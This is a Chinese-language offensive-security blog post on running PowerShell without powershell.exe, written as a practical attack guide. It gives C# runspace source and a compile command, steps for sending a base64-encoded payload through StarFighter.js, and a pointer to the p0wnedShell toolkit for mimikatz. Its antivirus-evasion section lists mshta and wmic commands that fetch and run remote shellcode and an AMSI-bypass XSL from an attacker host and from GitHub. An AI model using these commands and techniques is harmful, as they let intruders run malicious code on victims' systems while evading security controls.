CATALOG
前言
前几天在学习windows命名管道的时候偶然看到一篇文章:
we don’t neet powershell.exe
作者提供了一种特殊的运行powershell脚本的方式,这种方式既有趣又实用,是通过c#来实现的,因此这也坚定了我学习c#的步伐。
powershell的本质
我们都知道powershell是一个exe程序,它可以执行自己的命令或者powershell脚本。其实powershell的本质就是解释器,类似于python。python解释器通过解释了python脚本来调用操作系统给予的各种底层函数。
assembly我的理解是类似于python中的库
powershell通过解释powershell脚本,来调用System.Management.Automation.dll,System.Management.Automation是.NET 框架下的一个assembly。说白了就是我们写一个powershell脚本,通过powershell这个程序,我们可以调用System.Management.Automation.dll里面的函数,就跟我们写个python脚本,用 python3 demo.py一样,原理是类似的。
而c#语言可以将所谓的c#“脚本”解释后来调用.NET框架下所有的assembly。因此我们可以用c#实现powershell的功能。这在当powershell被某些策略禁用的时候十分好用。
小试牛刀
我们先写一个程序,让其可以单方面解释一段powershell脚本。
代码:
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.IO;
using System;
using System.Text;
namespace PSLess
{
class PSLess
{
static void Main(string[] args)
{
if(args.Length ==0)
Environment.Exit(1); //终止此进程并返回给操作系统错误代码1。
string script=LoadScript(args[0]);//接收命令行的第一个参数。并传输到LoadScript函数中,将函数的返回值保存到script。
string s=RunScript(script);//执行script脚本并将返回值赋给s。
Console.WriteLine(s);//输出命令结果s。
}
private static string LoadScript(string filename)
{
string buffer ="";
try {
buffer = File.ReadAllText(filename);//打开文件并读取文件中的所有文本并存储到buffer中然后关闭文件。
}
catch (Exception e) //catch块做异常处理
{
Console.WriteLine(e.Message);
Environment.Exit(2);//终止进程并抛出错误代码2给操作系统。
}
return buffer;//将buffer的值作为此函数的返回值。
}
private static string RunScript(string script)
{
Runspace MyRunspace = RunspaceFactory.CreateRunspace();//创建一个runspace类,可以通过这个类来解析powershell脚本
MyRunspace.Open();//执行powershell脚本前必须执行此函数
Pipeline MyPipeline = MyRunspace.CreatePipeline(); //创建可以用来执行命令的管道类
MyPipeline.Commands.AddScript(script);//添加一个新的脚本命令
MyPipeline.Commands.Add("Out-String");//将执行命令后返回的对象转换为字符串数组,不加这一行的话返回值有时候会很奇怪,例如ls命令的返回值会有变化。
Collection<PSObject> outputs = MyPipeline.Invoke();//执行命令,然后将结果转化为对象数组并返回
MyRunspace.Close();//关闭runspace
StringBuilder sb = new StringBuilder(); //这个类可以存储可变的字符串
foreach (PSObject pobject in outputs) //遍历outputs
{
sb.AppendLine(pobject.ToString()); //将outputs里面所有的值转化为字符串类型并添加到sb对象的结尾。
}
return sb.ToString();//将sb里面的值转化为string类型并作为函数的返回值。
}
}
}
文件生成命令:
csc.exe /reference:C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\system.management.automation.dll /out:C:\Users\Administrator\Desktop\powerless.exe C:\Users\Administrator\Desktop\1.cs
实际效果:
参考文章:我们不需要powershell
利用starfighter
可以利用starfighter这个js脚本,修改里面的一个名为encodepayload参数。具体操作如下:
打开计算器
假设我们想打开一个计算器,powershell命令为start calc.exe,可以在网上直接在线base64编码这条命令,或者用powershell脚本进行base64编码。
1.创建一个powershell脚本文件,内容如下:
$code = 'start calc.exe'
$bytes = [System.Text.Encoding]::UNICODE.GetBytes($code);
$encoded = [System.Convert]::ToBase64String($bytes)
$encoded
执行后生成一段base64编码:
cwB0AGEAcgB0ACAAYwBhAGwAYwAuAGUAeABlAA==
将此base64密文加入到starfighter.js这个脚本中,修改encodepayload字段为上面的到的base64密文:
然后执行命令 cscript StarFighter.js
即可弹出计算器。
深层利用
同理,输入一段可以用来上线的powershell代码,利用跟前面同样的操作即可用js脚本上线:
切记复制base64密文的时候不能复制换行符。
不过可惜的是有很多杀毒软件都会查杀:
p0wnedshell
下载地址:https://github.com/Cn33liz/p0wnedShell
可以实现powershell的全部功能,还能执行mimkatz与powerview等命令,是一个十分不错的攻击套件,只是会被查杀。
免杀
利用wmic远程文件不落地执行shellcode
wmic os get /FORMAT:"https://raw.githubusercontent.com/Ridter/AMSI_bypass/master/shellcode.xsl"
这里有一个插件已经集成好了功能:amsi_bypass
实际效果
mshta http://192.168.124.138:8080/a.png
wmic os get /format:"http://192.168.124.138:8080/a.xsl"